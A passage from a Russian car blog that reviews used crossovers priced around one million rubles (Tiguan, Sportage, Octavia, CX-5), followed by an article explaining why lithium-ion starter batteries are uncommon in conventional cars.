to-ru.ru/wp-content/uploads/2018/03/volkswagen-tiguan.jpg»>to-ru.ru/wp-content/uploads/2018/03/volkswagen-tiguan.jpg» alt=»Подержанный автомобиль Volkswagen Tiguan» width=»1100″ height=»663″/>

Наиболее ходовым являются машины с 2-х литровым бензиновым двигателем и аналогичным по объёмы дизелем мощностью 170 и 140 л.с. соответственно.

Коробки автомат или механика. Стоит учитывать, что на момент продажи такие автомобили уже отъездили не менее 50 — 100 тысяч километров.

По оснащению. Концерн Volkswagen предпочитает гибкость при продажах своих машин, поэтому у них очень демократичные конфигурации.

Могут встречаться разнообразные комплекты доп. оборудования, включая климат-контроль, мультимедиа системы с большими экранами и прочие современные удобства.

Подержанный автомобиль Kia Sportage

Если вы планировали приобрести подержанный автомобиль, то наверняка задумывались о Kia Sportage.

Данная модель без сомнения является одной из любимых среди отечественных автовладельцев.

За ту сумму, о которой сегодня мы говорим, вы без труда найдёте машину 2013- 2015 года выпуска с пробегом до 80 тысяч километров.

Полного «фарша» с АКПП и четырьмя ведущими колёсами не обещаем, но поискать подобные предложения можно.

to-ru.ru/wp-content/uploads/2018/03/Kia-Sportage-SX-2013.jpg»>to-ru.ru/wp-content/uploads/2018/03/Kia-Sportage-SX-2013.jpg» alt=»Подержанный автомобиль Kia Sportage» width=»1100″ height=»663″/>

Под капотом, как правило, вы встретите 2-х литровый бензиновый мотор с отдачей в 150 лошадей. Как ни странно, дизели довольно редки.

Что же касается оснащения, то за миллион без проблем отыщется экземпляр с практически топовой начинкой — кожаным салоном, климат-контролем, мультимедиа и панорамной крышей.

Skoda Octavia

Шкода — этот тот случай, когда, имея миллион в кармане, вы можете зайти в официальный салон и уехать оттуда на совершенно новом авто.

Правда, в довольно бедной комплектации — максимум мотор 1,6 в связке с МКПП. Хотите что-то ярче?

Тогда милости просим на рынок б/у.

При нашем бюджете мы можем рассчитывать на топовую версию с бензиновым 180-ти сильным агрегатом, имеющим пробег до 100 тысяч километров.

Или на не менее интересный универсал Scout с полным приводом с таким же числом на одометре и не новее 2014 года.

to-ru.ru/wp-content/uploads/2018/03/Skoda-Octavia-RS-2013.jpg»>to-ru.ru/wp-content/uploads/2018/03/Skoda-Octavia-RS-2013.jpg» alt=»Подержанный автомобиль Skoda Octavia» width=»1100″ height=»663″/>

Так как Skoda является частью концерна Volkswagen, то и конфигурации оснащения у этих машин могут быть очень разными.

Стоит присмотреться более внимательно к предложениям.

Mazda CX-5

А на десерт ещё один японец — кроссовер CX-5.

Скажем сразу, достойных экземпляров с хорошими моторами, небольшим пробегом и богатой комплектацией.

Не более 10% от общей массы предлагаемых на вторичке.

Самой популярной версией с разумным числом километров на одометре является переднеприводная с 150-ти сильным двигателем объёмом 2 литра и коробкой «автомат».

Хорошее оснащение салона за миллион вы получите только на автомобилях с приличным пробегом.

to-ru.ru/wp-content/uploads/2018/03/Mazda-CX-5-2012.jpg»>to-ru.ru/wp-content/uploads/2018/03/Mazda-CX-5-2012.jpg» alt=»Mazda CX-5″ width=»1100″ height=»663″/>

Конечно же, друзья, подержанных автомобилей за миллион рублей гораздо больше. Мы привели лишь небольшой пример, чтобы вы могли представлять себе реальную ситуацию на рынке.

Будьте внимательны при выборе, советуйтесь с профессионалами и приятных вам покупок.

Литиевый аккумулятор для автомобиля. Когда речь заходит об автомобильных аккумуляторах, в нашей голове сразу же возникает образ большой свинцово-кислотной АКБ, которая занимает достаточно большое место под капотом.

Самое интересное, что за всю эру автомобилетсроения данный тип батарей оставался верным спутником машины, даже не смотря на то, что на дворе ХХI век и изобретена масса других, более компактных и современных типов аккумуляторов.

К примеру, литий-ионные, встретить которые можно в любом мобильном телефоне. Почему же автопроизводители очень неохотно используют их в своей продукции? Неужели машины навсегда останутся с допотопными свинцово-кислотными АКБ?

Давайте разберёмся с этими вопросами и выясним, почему литиевый аккумулятор для автомобиля это невероятная экзотика.

Литиевый аккумулятор для автомобиля — классика или современность?

Поразительно, но тот тип батарей, которые повсеместно устанавливается в автомобили, был изобретён более века назад.

Конечно же, его внешний вид и конструктив постоянно совершенствовались, и сейчас это надёжные устройства, которые при должном внимании не подведут, но… Но они громоздкие, тяжёлые и зачастую требую внимания.

Почему же не использовать литий-ионный аккумулятор для автомобиля? Это современный тип батарей, они компактные, лёгкие и достаточно долговечные. На самом деле их можно встретить в автопроме, правда, не в массовом.

to-ru.ru/wp-content/uploads/2018/03/lit-ion-akkumul.jpg»>to-ru.ru/wp-content/uploads/2018/03/lit-ion-akkumul.jpg» alt=»Литиевый аккумулятор для автомобиля Porshe» width=»1000″ height=»564″/>

Такие АКБ штатно устанавливаются на транспортные средства, укомплектованные гибридными силовыми установками, и электромобили. Почему же их практически не встретить на обычных авто с двигателями внутреннего сгорания?

Может литиевый аккумулятор 12 вольт для автомобиля сложно сделать или они не выдерживают высоких токов, которые требуются для запуска мотора? Давайте это выясним.

Литиевые аккумуляторы: что это?

А начнём с конструкции литий-ионных АКБ. Состоит такая батарея из катода и анода, имеющих выводы на контакты и разделённых пористым сепаратором. Все эти элементы находятся в герметичном корпусе.

Кстати, корпус, как правило, имеет предохранительный клапан, который нужен, чтобы предотвратить резкое повышение давления внутри аккумулятора. Но самое главное не в этом, а в материалах катода и анода, именно они и химические реакции между ними определяют суть устройства.

Литиевыми такие батареи именуются из-за иона лития, который и является переносчиком электрического заряда. Этот ион способен взаимодействовать с кристаллическими решётками различных материалов, образовывая новые соединения.

Углубляясь в химию, можно увидеть, что и у этого вида аккумуляторов бывают разновидности. Как правило, отличается катодная часть, и у неё могут быть следующие варианты:

• LiCoO2 (кобальт лития);
• LiMn2O4 (литий-марганцевая шпинель);
• LiFePO4 (литий-феррофосфат).

Сами по себе эти формулы для людей, не являющихся химиками, мало что говорят, но нужно отметить, что свойства батарей, изготовленных из разных материалов, немного отличаются. Наиболее интересными являются АКБ с литий-феррофосфатной катодной частью.

to-ru.ru/wp-content/uploads/2018/03/lit-ion-akkumul-2.jpg»>to-ru.ru/wp-content/uploads/2018/03/lit-ion-akkumul-2.jpg» alt=»Литиевый аккумулятор для автомобиля» width=»762″ height=»700″/>

Из всей троицы они самые долговечные и меньше теряют ёмкость со временем, их напряжение практически не меняется в процессе разряда, а учитывая тот факт, что одна ячейка такого «аккума» выдаёт около 3,2 В, то, соединив четыре штуки, получим практически стандартное напряжение бортовой сети большинства автомобилей — 12,8 В. Помимо этого, они выдают хорошие пиковые токи.

Что не так с литий-ионными АКБ?

Казалось бы, литиевый аккумулятор для автомобиля — отличное решение, но мы пока не говорили об их недостатках, а они имеются, поверьте. Итак, почему же нельзя выбросить старую кислотно-свинцовую АКБ и поменять её на компактный и современный «аккум»? А вот почему:

• литий-ионные батареи плохо переносят минусовые температуры — их ёмкость резко падает, а заряжать их уже при 0 градусов даже не рекомендуется. Наверное, не стоит говорить, что для стран, где мороз является нормой — это большая проблема;
• необходимость использовать дополнительные электронные компоненты — такие батареи нельзя просто напрямую подсоединить к бортовой сети, нужно запитывать их через устройства защиты и специальные балансиры, контролирующие распределение заряда по ячейкам;
• при повреждении легко воспламеняются и даже взрываются;
• высокая цена — если поставить рядом кислотно-свинцовый и литиевый аккумуляторы одинаковой ёмкости, то второй будет в 2-4 раза дороже.

И что же, ради меньшего веса стоит мириться со всеми этими минусами?

to-ru.ru/wp-content/uploads/2018/03/lit-ion-akkumul-3.jpg»>to-ru.ru/wp-content/uploads/2018/03/lit-ion-akkumul-3.jpg» alt=»Литиевый аккумулятор» width=»758″ height=»660″/>

Автопроизводители думают, что нет. Литиевый аккумулятор для автомобиля оправдан в случае разработки спорткаров, где каждый килограмм на счету, или же у гибридов и электромобилей, где нужно как-то хранить большие объёмы электрической энергии.

Друзья, надеемся, теперь стало ясно, почему современные виды АКБ не подходят для массовой автомобильной техники — с ними будет больше проблем, нежели выигрыша.

На этом всё, не забывайте заглядывать на наш блог и до новых публикаций!